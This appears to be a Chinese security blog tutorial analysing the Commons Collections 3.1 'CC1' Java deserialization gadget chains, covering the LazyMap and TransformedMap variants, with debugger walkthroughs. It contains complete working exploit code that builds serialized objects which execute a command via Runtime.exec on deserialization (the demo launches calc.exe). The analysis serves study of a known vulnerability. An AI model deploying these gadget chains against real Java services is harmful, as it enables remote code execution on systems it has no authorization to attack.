Commons-Collections1链分析

 

前言

本身想直接分析ysoserial的cc链的,但是发现它在动态代理这一块进行了封装,这里直接分析编写好的构造链.由于链比较长,为了方便理解,本文会把CC1链拆成几部分来分析.在学习这篇文章前,需掌握反射JDK动态代理.

介绍

Apache Commons Collections是Apache Commons的组件,它们派生自Java API并提供组件Java语言的体系结构.Commons Collections增强了Java集合框架。 它提供了几个功能来简化收集处理。 它提供了许多新的接口,实现和实用程序.

测试环境

JDK版本低于8u71

Commons Collections 3.1

依赖:

<dependency>
	<groupId>commons-collections</groupId>
	<artifactId>commons-collections</artifactId>
	<version>3.1</version>
</dependency>

反射调用Exec

这部分比较基础,直接上代码

public class execDemo {
    public static void main(String[] args) throws Exception{
        // 取得 Runtime Class对象
        Class clazz = Runtime.class;
        // 通过反射获取Runtime类下的getRuntime()方法
        Method getRuntime = clazz.getMethod("getRuntime");
        // 执行getRuntime方法(属性为static,invoke参数为null),结果是返回一个Runtime对象
        Object invoke = getRuntime.invoke(null);
        // 通过反射获取Runtime类下的exec()方法
        Method exec = clazz.getDeclaredMethod("exec", String.class);
        // 通过反射调用,执行Runtime对象的exec方法
        exec.invoke(invoke, "calc.exe");
    }
}

这里需要补充一点,用getRuntime()来获取Runtime实例对象的原因是Runtime的构造方法是私有的,无法直接调用,需要格外设置setAccessible(true).

image-20220607214617612

Transformer讲解

Transformer

Transformer

是一个接口,继承它需要实现transform方法

image-20220607215200215

下面为Transformer的实现类,圈起来的这三个类就是构造CC1链关键类,同样也都继承了Serializable接口。

image-20220607215132656

ConstantTransformer

结构图:

image-20220607215223532

代码很少,直接都贴出来

public class ConstantTransformer implements Transformer, Serializable {
    static final long serialVersionUID = 6374440726369055124L;
    public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null);
    private final Object iConstant;

    public static Transformer getInstance(Object constantToReturn) {
        return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn));
    }

    public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }

    public Object transform(Object input) {
        return this.iConstant;
    }

    public Object getConstant() {
        return this.iConstant;
    }
}

先看transform方法及关联代码

可以看出来ConstantTransformertransform直接返回iConstant,返回值与传入的input没有任何关联。iConstant可以通过构造方法传入值

private final Object iConstant;

public ConstantTransformer(Object constantToReturn) {
    this.iConstant = constantToReturn;
}

public Object transform(Object input) {
    return this.iConstant;
}

InvokerTransformer

结构图:

image-20220607215251005

先分析一下transform,主要看try的三行代码

public Object transform(Object input) {
    // 判断传入不为null
    if (input == null) {
        return null;
    } else {
        try {
            // 获取input的Class对象
            Class cls = input.getClass();
            // 利用反射去获取cls下的方法,iMethodName为方法名,iParamTypes为方法的参数类型
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            //反射调用invoke执行input对象的method方法,iArgs为该方法的参数
            return method.invoke(input, this.iArgs);
/* ----------------------------  抛出异常 ------------------------------------- */
        } catch (NoSuchMethodException var5) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var6) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var7) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
        }
    }
}

接下来去查看iMethodNameiParamTypesiArgs,都是可以通过构造方法和反射进行修改的

private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;

private InvokerTransformer(String methodName) {
    this.iMethodName = methodName;
    this.iParamTypes = null;
    this.iArgs = null;
}

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    this.iMethodName = methodName;
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}

可以发现这些值都是可控的,说明我们可以利用InvokerTransformer,来执行invoke进行反射调用其他类的方法。但是并不能直接调用Runtimeexec 方法,因为它的构造方法是私有的,要通过getRuntime()来获取实例化对象,需要调用两次invoke

ChainedTransformer

结构图:

image-20220607215312096

先去看实现接口的transform

通过代码可以发现this.iTransformers[i].transform(object)的返回值将会成为下一个方法this.iTransformers[i].transform(object)的参数。可以把它理解成递归

public Object transform(Object object) {

    for(int i = 0; i < this.iTransformers.length; ++i) {

        object = this.iTransformers[i].transform(object);
        
    }

    return object;
}

这里跟进一下iTransformers

iTransformers

可以直接用构造方法赋值

// 私有
private final Transformer[] iTransformers;

public ChainedTransformer(Transformer[] transformers) {
    this.iTransformers = transformers;
}

代码

public class transformerDemo {
    public static void execute(String command) {

        final String[] execArgs = new String[] {command};

        final Transformer[] transformers = new Transformer[] {
        
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {
                java.lang.String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {
                Object.class, Object[].class }, new Object[] {
                null, new Object[0] }),
            new InvokerTransformer("exec",
                new Class[] { String.class }, execArgs) };

        final Transformer transformerChain = new ChainedTransformer(transformers);

        transformerChain.transform(null);
    }
    public static void main(String[] args) {
        execute("calc.exe");
    }
}

演示

这时候就可以都串起来了。ConstantTransformer直接返回一个Class对象,InvokerTransformer通过反射调用Class的方法,ChainedTransformer作为桥梁把他们连在一起。

final Transformer[] transformers = new Transformer[] {
    // 获取Runtime的Class对象,作为下一个方法的参数
    new ConstantTransformer(Runtime.class),
    // 获取Runtime的getRuntime方法,作为下一个方法的参数
    new InvokerTransformer("getMethod", new Class[] {
        java.lang.String.class, Class[].class }, new Object[] {
        "getRuntime", new Class[0] }),
    // 获取Runtime的实例化对象,作为下一个方法的参数
    new InvokerTransformer("invoke", new Class[] {
        Object.class, Object[].class }, new Object[] {
        null, new Object[0] }),
    // 通过反射来调用Runtime对象的exec方法,执行命令
    new InvokerTransformer("exec",
    new Class[] { String.class }, new String[] {"calc.exe"} ) 
};

final Transformer transformerChain = new ChainedTransformer(transformers);

为了方便理解,debug一下

断点位置在ChainedTransformer的transform方法处(58行)

image-20220607215335112

第一个执行的是new ConstantTransformer(Runtime.class)transform方法

image-20220607215348009

跟进一下,我们在入口传入的是null,返回的结果为Runtime的Class对象

image-20220607215402994

第二个执行的是new InvokerTransformer("getMethod", new Class[] {java.lang.String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] })transform方法,传入的参数为Runtime的Class对象,返回的结果是Runtime.getRuntime()对象

image-20220607215420143

跟进一下,可以发现input.getClass()拿到了java.lang.Class的Class对象,然后cls.getMethod获取java.lang.Class下的getMethod方法,最后method.invoke执行getMethod方法,获取Runtime类下的getRuntime方法

image-20220607215433575

第三个执行的是new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] })transform方法,传入参数为Runtime.getRuntime()对象,返回结果为Runtime对象

image-20220607215446445

跟进一下,可以发现input.getClass()拿到了java.lang.reflect.Method的Class对象,然后cls.getMethod获取java.lang.reflect.Method下的invoke方法,最后method.invoke执行invoke方法,获取Runtime的实例化对象

image-20220607215501860

最后一个执行的是new InvokerTransformer("exec",new Class[] { String.class }, new String[] {"calc.exe"} ),传入的参数是Runtime的实例化对象,返回是exec执行“calc.exe”命令,弹出一个计算器

image-20220607215521321

跟进一下,可以发现input.getClass()拿到了Runtime的Class对象,然后cls.getMethod获取Runtime类下的exec方法,最后method.invoke执行exec方法,执行“calc.exe”命令

image-20220607215556589

构造链

CC1一共有两条链子,ysoserialLazyMap链相对来说比较简单一点

LazyMap链

lazymap调用栈

ObjectInputStream.readObject()
    AnnotationInvocationHandler.readObject()
        Map(Proxy).entrySet()
            AnnotationInvocationHandler.invoke()
                LazyMap.get()
                    ChainedTransformer.transform()
                        ConstantTransformer.transform()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Class.getMethod()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.getRuntime()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()

代码

public class lazyMapDemo {
    public static void execute(String command) throws Exception {
        final String[] execArgs = new String[] {command};

        final Transformer[] transformers = new Transformer[] {
            // 获取Runtime的Class对象,作为下一个方法的参数
            new ConstantTransformer(Runtime.class),
            // 获取Runtime的getRuntime方法,作为下一个方法的参数
            new InvokerTransformer("getMethod", new Class[] {
                java.lang.String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
            // 获取Runtime的实例化对象,作为下一个方法的参数
            new InvokerTransformer("invoke", new Class[] {
                Object.class, Object[].class }, new Object[] {
                null, new Object[0] }),
            // 通过反射来调用Runtime对象的exec方法,执行命令
            new InvokerTransformer("exec",
                new Class[] { String.class }, execArgs) };

        final Transformer transformerChain = new ChainedTransformer(transformers);

        // 创建一个LazyMap,把transformerChain传入
        Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);

        // 反射获取AnnotationInvocationHandler的Class对象
        Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // 反射获取的AnnotationInvocationHandler类中第一个构造函数
        Constructor constructor = annotationInvocationHandler.getDeclaredConstructors()[0];
        // 禁止检查Java语言访问控制
        constructor.setAccessible(true);
        // 创建InvocationHandler的实例化对象,lazyMap被代理
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);
        // 创建代理对象
        Map proxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), invocationHandler);

        //最后再创建了一个AnnotationInvocationHandler的实例,然后将已经代理过的LazyMap再填进去。原因是因为,我们需要触发AnnotationInvocationHandler的ReadObject,而不是Map的ReadObject
        Object handler = (InvocationHandler) constructor.newInstance(Target.class, proxyInstance);

        // 序列化
        String path = System.getProperty("user.dir")+"cc1.ser";
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(path));
        objectOutputStream.writeObject(handler);
        objectOutputStream.close();

        //反序列化
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(path));
        objectInputStream.readObject();
        objectInputStream.close();

    }
    public static void main(String[] args) throws Exception {
        execute("calc.exe");
    }
}

LazyMap

结构图

image-20220607215632438

• LazyMap本质上也是一个Map,它允许指定一个Transformer作为它的工厂类

工厂类的意思是,当进行Map操作时,这个工厂类会对它进行修饰(使用工厂类的transform函数)

分析下关键代码

可以看出,LazyMap的构造方法属性为protected无法直接创建实例.不过可以用public static Map decorate(Map map, Transformer factory)方法来调用构造方法.

protected final Transformer factory;

protected LazyMap(Map map, Transformer factory) {
    super(map);
    if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
    } else {
        this.factory = factory;
    }
}

public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}

Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);

重点主要是get方法,如果map不包含key的话,就会执行this.factory.transform(key),这里的this.factory可以传入ConstantTransformer,只要想一个办法触发它就好了

public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

AnnotationInvocationHandler

这部分涉及到JDK动态代理

作为反序列化的入口点,结合上述条件,我们需要找到一个在重载了readObject函数中,调用mapget方法,也就是AnnotationInvocationHandler

先看看类声明

实现了InvocationHandler接口,说明AnnotationInvocationHandler是一个动态代理类,发现memberValues为Map类型

image-20220607215650652

结构图:

image-20220607215703714

先去看invoke,发现this.memberValues.get(var4),memberValues又是一个map,这里就可以触发map.get().

image-20220607215730553

所以只要让this.memberValuesLazyMap就好了,触发get()就会跟着触发ConstantTransformer.通过动态代理,就可以把LazyMap包裹起来.

// 反射获取AnnotationInvocationHandler的Class对象
Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

// 反射获取的AnnotationInvocationHandler类中第一个构造函数
Constructor constructor = annotationInvocationHandler.getDeclaredConstructors()[0];

// 禁止检查Java语言访问控制
constructor.setAccessible(true);

// 创建InvocationHandler的实例化对象,lazyMap被代理
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);

// 创建代理对象
Map proxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), invocationHandler);

拓展一下:

loader是类加载器,interfaces 是代理要实现的服务接口,h是一个invocationHandler对象,表示的是 当动态代理对象调用方法的时候会关联到哪一个invocationHandler对象上,并最终由其调用。

public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h)

这里proxyInstance在调用方法时,经过invocationHandler进行处理,invocationHandler通过invoke反射调用LazyMap对应的方法,并且进行修饰。

抽象一点来讲,LazyMap是一部电影,invocationHandler是电影院,电影院可以在播放电影(invoke)的时候插入广告(修饰),你也可以选择在不同的电影院播放这部电影(LazyMap),不过他们的广告内容不一样(修饰不一样),但一定会播放电影(invoke)。只要触发了播放电影,就会经过电影院进行播放。

最后重点来了

我们需要触发AnnotationInvocationHandlerinvoke方法,而AnnotationInvocationHandler重载了readObject函数,经过代理,memberValues就是LazyMapthis.memberValues.entrySet()相当于触发了LazyMap的方法,需要经过代理,触发AnnotationInvocationHandler的invoke,到这里链子就成功构造好啦

image-20220607215748786

最后再创建了一个AnnotationInvocationHandler的实例,然后将已经代理过的LazyMap再填进去。原因是因为,我们需要触发AnnotationInvocationHandler的ReadObject,而不是Map的ReadObject

InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, proxyInstance);

TransformedMap链

TransformedMap本质上也是一个Map,主要的作用是在对其集合的元素进行增加,删除或修改时调用方法进行特定的修饰变换.

TransformedMap调用栈

ObjectInputStream.readObject()
    AnnotationInvocationHandler.readObject()
        AbstractInputCheckedMapDecorator$MapEntry.setValue()
            TransformedMap.checkSetValue()
                 ChainedTransformer.transform()
                        ConstantTransformer.transform()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Class.getMethod()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.getRuntime()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()

代码

public class transformerDemo {
    public static void execute(String command) throws Exception {
         final Transformer[] transformers = new Transformer[] {
            // 获取Runtime的Class对象,作为下一个方法的参数
            new ConstantTransformer(Runtime.class),
            // 获取Runtime的getRuntime方法,作为下一个方法的参数
            new InvokerTransformer("getMethod", new Class[] {
                java.lang.String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
            // 获取Runtime的实例化对象,作为下一个方法的参数
            new InvokerTransformer("invoke", new Class[] {
                Object.class, Object[].class }, new Object[] {
                null, new Object[0] }),
            // 通过反射来调用Runtime对象的exec方法,执行命令
            new InvokerTransformer("exec",
                new Class[] { String.class }, execArgs) };

        final Transformer transformerChain = new ChainedTransformer(transformers);

        HashMap map = new HashMap();

        // 这里key必须为"when",和CheckReturnValue的when()方法名字一样,value值任意
        map.put("when","kradress");

        // 这里key必须为"value",和Target.class的value()方法名字一样,value值任意
        // map.put("value","kradress");

        // 创建一个TransformedMap,把transformerChain传入
        Map transFormedMap = TransformedMap.decorate(map,null,transformerChain);

        // 反射获取AnnotationInvocationHandler的Class对象
        Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // 反射获取的AnnotationInvocationHandler类中第一个构造函数
        Constructor constructor = annotationInvocationHandler.getDeclaredConstructors()[0];

        // 禁止检查Java语言访问控制
        constructor.setAccessible(true);

        // 创建InvocationHandler的实例化对象,transFormedMap被代理
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(CheckReturnValue.class, transFormedMap);
        // InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, transFormedMap);

        // 序列化
        String path = System.getProperty("user.dir")+"cc1.ser";
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(path));
        objectOutputStream.writeObject(invocationHandler);
        objectOutputStream.close();

        //反序列化
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(path));
        objectInputStream.readObject();
        objectInputStream.close();

    }
    public static void main(String[] args) throws Exception {
        execute("calc.exe");
    }
}

TransformedMap

类声明:

image-20220607215813009

结构图:

image-20220607215827706

看一下构造函数

可以看到,其实这里和LazyMap也没什么区别,构造函数属性为protect,无法直接用构造方法创建实例,也用的是decorate()方法来获取该类对象

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}


protected Map transformMap(Map map) {
    Map result = new LinkedMap(map.size());
        Iterator it = map.entrySet().iterator();

    while(it.hasNext()) {
        Map.Entry entry = (Map.Entry)it.next();
        result.put(this.transformKey(entry.getKey()), this.transformValue(entry.getValue()));
    }

    return result;
}

看一下关键代码

transformKey(Object object)transformValue(Object object)checkSetValue(Object value)都可以触发transform()方法,虽然它们属性为protected无法直接调用.

protected Object transformKey(Object object) {
    return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}

protected Object transformValue(Object object) {
    return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}

protected Object checkSetValue(Object value) {
    return this.valueTransformer.transform(value);
}

public Object put(Object key, Object value) {
    key = this.transformKey(key);
    value = this.transformValue(value);
    return this.getMap().put(key, value);

}

前两者倒是可以用put()来触发,可以看父类得知它的父类实现了Map接口,但是目前也找不到什么类可以通过重载readObject触发这个put().

那就从checkSetValue()来下手吧,去寻找什么方法能够触发它

AbstractInputCheckedMapDecorator

idea通过右键 -> Go To -> Super Method

image-20220607215842012

跳转到父类AbstractInputCheckedMapDecorator,看类声明发现,这是一个抽象类 ,checkSetValue也是一个抽象方法

image-20220607215858316

先说一下抽象类:

  1. 子类在继承父类的时候,如果父类是抽象类,那么实例化子类时先实例化父类。
  2. 在抽象类的方法中调用了自己未实现的抽象方法,那么对应实例化的子类实现了此方法,在抽象类实例化之后,子类未实例化之前,抽象类可以调用子类实现的抽象方法。

AbstractInputCheckedMapDecorator中,setValue(Object value)又调用了这个抽象方法,相当于调用了TransformedMapcheckSetValue()方法,最后 触发transform()方法

static class MapEntry extends AbstractMapEntryDecorator {
    private final AbstractInputCheckedMapDecorator parent;

    protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
        super(entry);
        this.parent = parent;
    }

    public Object setValue(Object value) {
        value = this.parent.checkSetValue(value);
        return super.entry.setValue(value);
    }
}
MapEntry

作为AbstractInputCheckedMapDecorator的内部类,它的父类AbstractMapEntryDecorator实现了Map.Entry接口

现在又有2个问题

  1. 怎么才能让parent的值为TransformedMap
  2. 怎么去触发setValue()方法呢

AnnotationInvocationHandler

LazyMap 链中也提到过一次了,这里也同样是AnnotationInvocationHandler作为反序列化入口点,这里是在重载的readObject中触发Map.EntrysetValue方法.与 LazyMap 不同的是这里并没有用到动态代理,也不会调用AnnotationInvocationHandlerinvoke

image-20220607215913993

先贴出代码,方便分析

HashMap map = new HashMap();

map.put("value","kradress");

Map transFormedMap = TransformedMap.decorate(map,null ,transformerChain);

Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

Constructor constructor = annotationInvocationHandler.getDeclaredConstructors()[0];

constructor.setAccessible(true);

InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, transFormedMap);

先看看parent的值是怎么来的呢

先分析调用栈

image-20220607220001397

在此处打个断点(AbstractInputCheckedMapDecorator$MapEntry)

image-20220607220017199

先看AnnotationInvocationHandlerreadObject

image-20220607220039516

在实例化对象的时候,this.memberValues值为TransFormedMap

Map transFormedMap = TransformedMap.decorate(map,null ,transformerChain);

InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, transFormedMap);

image-20220607220101795

TransFormedMap

没有通过entrySet()方法,就会通过继承调用父类AbstractInputCheckedMapDecoratorentrySet().iterator(),获得TransFormedMap的迭代器,用作遍历TransFormedMap中的每一个键值对。

Iterator var4 = this.memberValues.entrySet().iterator();

通过调用AbstractInputCheckedMapDecoratornext()遍历TransFormedMap的迭代器

while(var4.hasNext()) {
    Map.Entry var5 = (Map.Entry)var4.next();
}

image-20220607220117175

这时候就成功把parent的值设置为TransFormedMap对象了

image-20220607220127797

最后来看看关键点,如何去触发setVaule方法

HashMap map = new HashMap();

map.put("value","kradress");

Map transFormedMap = TransformedMap.decorate(map,null ,transformerChain);

Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = annotationInvocationHandler.getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, transFormedMap);

这里得先提到AnnotationInvocationHandler的构造函数

// var1 必须是Annotation的子类
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
    // 获取var1所有的接口
    Class[] var3 = var1.getInterfaces();
    // var1为注解类型  &&  var1只实现一个接口  &&  var3[0]必须为注解类
    if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
        this.type = var1;
        this.memberValues = var2;
    } else {
        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
    }
}

能满足条件的var1只能是注解类,而且只实现了Annotation接口

再来分析下readObject

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    AnnotationType var2 = null;

    try {
        var2 = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException var9) {
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    // var2.memberTypes()返回一个Map,key为this.type中的方法
    Map var3 = var2.memberTypes();
    // 遍历this.memberValues(TransformedMap)
    Iterator var4 = this.memberValues.entrySet().iterator();

    while(var4.hasNext()) {
        Map.Entry var5 = (Map.Entry)var4.next();
        // 获取var5(TransformedMap)的key
        String var6 = (String)var5.getKey();
        // 获取var3中key为var6的value值
        Class var7 = (Class)var3.get(var6);
        if (var7 != null) {
            // 获取var5的value值
            Object var8 = var5.getValue();
            // var7不是var8的实例 && var8不是ExceptionProxy的实例
            if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
            }
        }
    }
}

从这里开始分析

var2 = AnnotationType.getInstance(this.type);

AnnotationType

这里就简单解释下AnnotationTypegetInstance方法

public static AnnotationType getInstance(Class<? extends Annotation> var0) {
    //SharedSecrets.getJavaLangAccess()获取System对象,System实现了JavaLangAccess接口
    JavaLangAccess var1 = SharedSecrets.getJavaLangAccess();
    // 跟进System.getAnnotationType(var0)返回var0.getAnnotationType()
    AnnotationType var2 = var1.getAnnotationType(var0);
    if (var2 == null) {
        // 走到构造函数
        var2 = new AnnotationType(var0);
        if (!var1.casAnnotationType(var0, (AnnotationType)null, var2)) {
            var2 = var1.getAnnotationType(var0);

            assert var2 != null;
        }
    }
    return var2;
}

看了一下调用栈,总体来说是比较复杂的,一共调用了2次AnnotationTypegetInstance方法

image-20220607220141800

第一次拿到的var0为传入的注解类(Class<? extends Annotation> var0),如果var0没有getAnnotationType方法,返回null,进入if语句

var1.getAnnotationType(var0) (klassvar0)

image-20220607220155404

image-20220607220213709

来到构造函数,把var0的所有方法的名称作为key传入memberTypes

image-20220607220237498

在构造函数中经过一系列处理,再一次调用AnnotationTypegetInstance,最后拿到的var2memberTypes的中,key为传入注解类(Class<? extends Annotation> var0)的方法名

image-20220607220256527

readObect

继续回到readObject

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    AnnotationType var2 = null;

    try {
        var2 = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException var9) {
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    // var2.memberTypes()返回一个Map,key为this.type中的方法
    Map var3 = var2.memberTypes();
    // 遍历this.memberValues(TransformedMap)
    Iterator var4 = this.memberValues.entrySet().iterator();

    while(var4.hasNext()) {
        Map.Entry var5 = (Map.Entry)var4.next();
        // 获取var5(TransformedMap)的key
        String var6 = (String)var5.getKey();
        // 获取var3中key为var6的value值,一个Class对象
        Class var7 = (Class)var3.get(var6);
        if (var7 != null) {
            // 获取var5的value值
            Object var8 = var5.getValue();
            // var7不是var8的实例 && var8不是ExceptionProxy的实例
            if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
            }
        }
    }
}

来看看var6var7

要想var6的值不为null,在创建TransformedMap对象的时候,传入的HashMap不为空,

HashMap map = new HashMap();

map.put("value","kradress");

Map transFormedMap = TransformedMap.decorate(map,null ,transformerChain);

要想var7的值不为null,var3也不能为空

// var3 的key为 传入的注解类的方法名
Map var3 = var2.memberTypes();

image-20220607220316167

在创建AnnotationInvocationHandler的时候,传入的注解类必须有声明方法

nvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, transFormedMap);

然后var6的值为var5(TransformedMap)的key,要和var3key一致,var7才不等于null

Map var3 = var2.memberTypes();
// 获取var5的key值
String var6 = (String)var5.getKey();
// 获取var3中对应key(var6)的value值
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
    Object var8 = var5.getValue();
    if (var7 != null) {
        // 获取var5的value值
        Object var8 = var5.getValue();
        // var7不是var8的实例 && var8不是ExceptionProxy的实例
        if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
            var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
        }
    }
}

因此在创建TransformedMap的时候,HashMap的key值需要和创建AnnotationInvocationHandler时传入的方法名一样才行

Target.classRetention.class都符合条件,都只有1个方法名value

map.put("value","kradress");

InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, transFormedMap);

image-20220607220331910

除了这两个,还有很多注解类也可以,这里再列一个CheckReturnValue.class,有兴趣的师傅可以再找找

When when() default When.ALWAYS;

对应的key就要改为when

map.put("when","kradress");

InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(CheckReturnValue.class, transFormedMap);

image-20220607220348645

HashMap map = new HashMap();

map.put("when","kradress");

 Map transFormedMap = TransformedMap.decorate(map,null ,transformerChain);

Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

Constructor constructor = annotationInvocationHandler.getDeclaredConstructors()[0];

constructor.setAccessible(true);

InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, transFormedMap);

这样就能成功走到setValue

var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));

到此为止,已经分析完了,具体步骤可以看看调用栈

总结

JDK8u71后无法复现该漏洞,核心原因是,8u71以后,AnnotationInvocationHandler的readObject中,不再直接操作我们给的Map,而是新创建了一个LinkedHashMap,导致无法触发后面的payload